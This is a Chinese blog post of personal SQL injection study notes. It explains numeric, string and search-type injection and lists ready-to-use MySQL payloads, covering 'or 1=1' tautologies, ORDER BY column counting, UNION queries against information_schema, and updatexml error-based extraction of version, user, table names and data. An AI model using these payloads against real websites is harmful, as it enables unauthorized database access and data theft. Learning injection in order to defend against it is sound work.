首页 > 数据库 >SQL学习笔记

SQL学习笔记

时间:2024-09-11 20:46:24浏览次数:12  
标签:语句 数据库 0x7e 笔记 学习 concat str SQL select

SQL注入原理

SQL注入原理就是跟SQL语法有关的一种攻击手段。如果在编写代码时没有对提交的参数进行严格过滤和判断,通过在客户端提交参数时拼接SQL语句,提交至服务端,服务端将拼接的SQL语句提交给数据库执行,泄露数据库中的信息并返回给服务端,再返回给客户端,从而获得信息或者执行危险命令。


按数据类型分类

数字型

在数据库中,提交的参数是数字,不用考虑引号闭合问题

测试语句:

  1. id=1',此时拼接的sql语句为 select * from xxx where id=1' ,不符合语法,肯定报错
  2. id=1 and 1=1,此时拼接的sql语句为 select * from xxx where id=1 and 1=1,会正常输出

示例: 1 or 1=1#

sql语句:select * from xxx where id=1 or 1=1 #

or 1=1保证了所有数据都满足输出条件,而#是注释掉后面其他的语句,如果注入成功,就可以输出该库的所有元素

字符型

在数据库中,提交的参数是字符串,需要考虑引号闭合问题

测试语句:

  1. str=bulabula # ,此时拼接的sql语句为 select * from xxx where str='bulabula ,引号未闭合,会报错
  2. str=bulabula' and 1=1 # ,此时拼接的sql语句为 select * from xxx where str='bulabula' and 1=1 # ,会正常输出

示例 kk' or 1=1 #

sql语句:select * from xxx where str='kk' or 1=1 #

效果同数字型,只不过考虑了引号闭合

搜素型

在数据库中,字符串采用模糊匹配的方式找对应数据。在数据库搜索的时候,如果使用%,可以达到模糊匹配的效果。如 str='%abc' ,就会匹配以abc结尾的数据,而 str='%abc%',就会匹配含有abc的数据。在对这种数据进行注入时,需要考虑百分号的闭合。


注入手段

联合查询注入

通过union语句实现联合查询注入,但是得保证两次select的列数一致,才能对齐

判断列数: 通过order by语句

示例:

str=1' order by 3 # (对第三列排序 报错)

str=1' order by 2 # (对第二列排除 无报错)

此时说明该数据一共有3列

爆数据库名 str=1' union select 3,(select group_concat(schema_name) from information_schema.schemata) #

爆表名 str=1' union select 3,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #

爆列名 str=1' union select 3,(select group_concat(column_name) from information_schema.columns where table_name = '表名') #

爆数据值 str=1' union select 3,(select group_concat(列名) from 数据库名.表名) #

上述爆数据库名,表名,列名其实都是基于爆数据值这个格式,在数据库中自带的information_schema数据库找到的数据

报错注入

基于数据库本身函数报错输出的注入方式,如updatexml内容替换函数,其格式为updatexml(string格式,XPath格式字符串,string格式),当不符合xpath语法格式时,会将里面的内容爆出

爆数据库版本 str=1' and updatexml(0,concat(0x7e,(select @@version),0x7e),1) #

爆数据库当前用户 str=1' and updatexml(0,concat(0x7e,(select user()),0x7e),1) #

爆当前数据库 str=1' and updatexml(0,concat(0x7e,(select database()),0x7e),1) #

爆表名 str=1' and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema = '数据库名' limit 0,1),0x7e),1) #

由于concat只能连接一行,所以只能用limit一行一行输出

爆列名 str=1' and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' and table_schema='数据库名' limit 0,1),0x7e),1) #

爆数据值 str=1' and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),0) #

宽字节注入
偏移量注入
盲注
加密注入
堆叠注入
二次注入
中转注入
伪静态注入
绕过

学习中,剩下的待更新~

标签:语句,数据库,0x7e,笔记,学习,concat,str,SQL,select
From: https://www.cnblogs.com/bzzs/p/18408802

相关文章

  • 学习《领域驱动设计-软件核心复杂性应对之道》的过程随笔
    本随笔谨用于记录本人学习《领域驱动设计-软件核心复杂性应对之道》的过程和收获,愿与大家共享之初写于2024.07.24,学习未竟,随笔伴行-- 本人于工作期间阅读该书,发现很多值得反复学习的方法和思考方式,随笔记录;兴之所至,兴尽即止---本文是针对面向对象开发人员所编写的,如不合适,请......
  • kissat的多输出-学习与修改1
    学习:传播、回溯、重启 //propsearch.h中定义以下引用标识符#definePROPAGATE_LITERALsearch_propagate_literal#definePROPAGATION_TYPE"search"  //proplit.h中给出完整传播函数定义——对于了解文字传播队列非常重要1staticinlineclause*PROPAGATE......
  • TensorFlow深度学习框架改进K-means、SOM自组织映射聚类算法及上海招生政策影响分析研
    全文链接:https://tecdat.cn/?p=37652 原文出处:拓端数据部落公众号 分析师:ChenZhang 在教育政策研究领域,准确评估政策对不同区域和学生群体的影响至关重要。2021年上海市出台的《上海市初中学业水平考试实施办法》对招生政策进行了调整,其中名额分配综合评价模块的变化尤为......
  • STM32学习笔记——中断
    中断:在主程序运行过程中,出现了特定事件(例如发生已经预知的一些情况),从而转入中断程序中,处理完成后再回到主程序中继续执行。(频繁的中断函数会影响主程序的运行,所以中断函数一边不处理特别复杂的逻辑)EXTI(ExternInterrupt)外部中断支持的触发方式:上升沿/下降沿/双边沿/软件触发支......
  • prometheus学习笔记之基于三方exporter实现监控
    一、redis_exporter通过redis_exporter监控redis服务状态git地址:https://github.com/oliver006/redis_exporterdocker地址:https://hub.docker.com/r/oliver006/redis_exporter实验环境:redisk8部署prometheus二进制部署1.redis_exporter使用简解二进制部署prometheus......
  • Java中数学类的学习
    数学类目录数学类Math类math的floor,round和ceil方法实例比较Math类Java的Math包含了用于执行基本数学运算的属性和方法,如初等指数、对数、平方根和三角函数。Math的方法都被定义为static形式,通过Math类可以在主函数中直接调用。publicclassTest{publicst......
  • 基于sqli-labs Less-1的sql注入原理详细讲解
    SQLiLabs是一个专为学习和测试SQL注入漏洞而设计的实验室平台。它旨在帮助安全研究人员、开发者以及网络安全爱好者深入理解和实践各种SQL注入攻击。SQLiLabs提供了一系列精心设计的实验室环境和挑战,模拟真实的SQL注入漏洞,并提供相应的解决方案。关于sqli-labs靶场的本......
  • UE4(5)逆向学习笔记(三)——UEDumper源码学习
    目录0.前言1.准备2.开始阅读2.1设置版本和Offset2.2获取GName2.3使用GName2.4获取GUObjectArray2.5使用GUObjectArray2.6寻找dump主流程2.6.1ObjectsManager::copyGObjectPtrs2.6.2ObjectsManager::copyUBigObjects2.6.3EngineCore::cacheFNames2.6.4EngineCo......
  • 关于Java中的类和对象笔记
    什么是对象:在现实世界中,随处可见的一种事物就是对象。面向对象的特点:封装性、继承性、多态性1.1封装(思想):对象的属性和行为封装起来,载体即为类。保存类数据结构的完整性,提高了程序的可维护性。1.2继承:可以继承父类的行为和属性,其中还可以添加独特的属性及行为。可复用性强......
  • AdaBoost算法(AdbBoost Algorithm)—有监督学习方法、非概率模型、判别模型、非线性模型
    定义输入:训练数据集T={(x1......